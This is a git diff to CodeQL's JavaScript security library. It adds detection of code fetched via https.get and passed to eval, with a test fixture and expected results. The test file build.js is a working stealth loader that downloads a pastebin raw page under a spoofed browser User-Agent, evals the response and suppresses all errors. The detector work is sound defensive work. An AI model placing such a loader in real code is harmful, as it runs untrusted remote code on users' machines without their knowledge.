diff --git a/javascript/ql/src/semmle/javascript/NodeJS.qll b/javascript/ql/src/semmle/javascript/NodeJS.qll index 0d0827a5ed24..4e354c77275e 100644 --- a/javascript/ql/src/semmle/javascript/NodeJS.qll +++ b/javascript/ql/src/semmle/javascript/NodeJS.qll @@ -238,6 +238,17 @@ class Require extends CallExpr, Import { } } +/** parameter of 'get' method callback on the require('http'/'https') import */ +Parameter getRequireHttpGetCallbackArg () { + exists(CallExpr source, Variable http, CallExpr getCall | + source.getCalleeName() = "require" and + http.getAnAssignedExpr() = source and + (source.getArgument(0).getStringValue() = "http" or source.getArgument(0).getStringValue() = "https" ) and + getCall.getCalleeName() = "get" and + getCall.getReceiver() = http.getAnAccess() | + result = getCall.getArgument(1).(Function).getParameter(0)) +} + /** A literal path expression appearing in a `require` import. */ private class LiteralRequiredPath extends PathExprInModule, ConstantString { LiteralRequiredPath() { diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/CodeInjection.qll b/javascript/ql/src/semmle/javascript/security/dataflow/CodeInjection.qll index 4cd7bab37394..d0e60ff19bb1 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/CodeInjection.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/CodeInjection.qll @@ -44,6 +44,9 @@ module CodeInjection { override predicate isAdditionalTaintStep(DataFlow::Node src, DataFlow::Node trg) { // HTML sanitizers are insufficient protection against code injection src = trg.(HtmlSanitizerCall).getInput() + or + (src.asExpr() = getRequireHttpGetCallbackArg().getAVariable().getAReference() and + trg.asExpr() = getOnDataEventCallbackArg().getAVariable().getAReference()) } } @@ -60,7 +63,7 @@ module CodeInjection { isDocumentURL(astNode) } } - + /** * An expression which may be interpreted as an AngularJS expression. */ @@ -69,7 +72,7 @@ module CodeInjection { any(AngularJS::AngularJSCall call).interpretsArgumentAsCode(this.asExpr()) } } - + /** * An expression which may be evaluated as JavaScript in NodeJS using the * `vm` module. @@ -125,6 +128,18 @@ module CodeInjection { ) } } + + /** parameter of On('data') event when called back from 'get' method */ + Parameter getOnDataEventCallbackArg () { + exists (CallExpr getCall, CallExpr onEvent, Variable incomingMessage, VarRef incomingMessageRef | + getCall.getCalleeName() = "get" and + incomingMessageRef = incomingMessage.getAReference() and + incomingMessageRef = getCall.getArgument(1).(Function).getParameter(0) and + onEvent.getCalleeName() = "on" and + onEvent.getArgument(0).getStringValue() = "data" and + incomingMessage.getAnAccess() = onEvent.getReceiver() | + result = onEvent.getArgument(1).(Function).getParameter(0)) + } } /** DEPRECATED: Use `CodeInjection::Source` instead. */ diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/RemoteFlowSources.qll b/javascript/ql/src/semmle/javascript/security/dataflow/RemoteFlowSources.qll index 77f02a7fc693..5e6521ab210e 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/RemoteFlowSources.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/RemoteFlowSources.qll @@ -26,3 +26,14 @@ private class DocumentCookieSource extends RemoteFlowSource, DataFlow::ValueNode result = "document.cookie" } } + +/** A source of content download via NodeJS require.get(), considered as a flow source for code injection. */ +private class NodeJSRequireSource extends RemoteFlowSource { + NodeJSRequireSource() { + this.asExpr() = getRequireHttpGetCallbackArg () + } + + override string getSourceType() { + result = "require(\"http(s)\").get(\"callback\")" + } +} \ No newline at end of file diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection.expected b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection.expected index c2043f2dad26..cfd2b518f9ec 100644 --- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection.expected @@ -12,6 +12,7 @@ | angularjs.js:47:16:47:30 | document.cookie | $@ flows to here and is interpreted as code. | angularjs.js:47:16:47:30 | document.cookie | User-provided value | | angularjs.js:50:22:50:36 | document.cookie | $@ flows to here and is interpreted as code. | angularjs.js:50:22:50:36 | document.cookie | User-provided value | | angularjs.js:53:32:53:46 | document.cookie | $@ flows to here and is interpreted as code. | angularjs.js:53:32:53:46 | document.cookie | User-provided value | +| build.js:6:10:6:10 | c | $@ flows to here and is interpreted as code. | build.js:5:18:5:18 | c | User-provided value | | express.js:7:24:7:69 | "return ... + "];" | $@ flows to here and is interpreted as code. | express.js:7:44:7:62 | req.param("wobble") | User-provided value | | express.js:9:34:9:79 | "return ... + "];" | $@ flows to here and is interpreted as code. | express.js:9:54:9:72 | req.param("wobble") | User-provided value | | express.js:12:8:12:53 | "return ... + "];" | $@ flows to here and is interpreted as code. | express.js:12:28:12:46 | req.param("wobble") | User-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-094/build.js b/javascript/ql/test/query-tests/Security/CWE-094/build.js new file mode 100644 index 000000000000..02db33045184 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-094/build.js @@ -0,0 +1,11 @@ +try{ + var https=require('https'); + https.get({'hostname':'pastebin.com',path:'/raw/XXXXXXXX',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{ + r.setEncoding('utf8'); + r.on('data',(c)=>{ + eval(c); + }); + r.on('error',()=>{}); + + }).on('error',()=>{}); + }catch(e){} \ No newline at end of file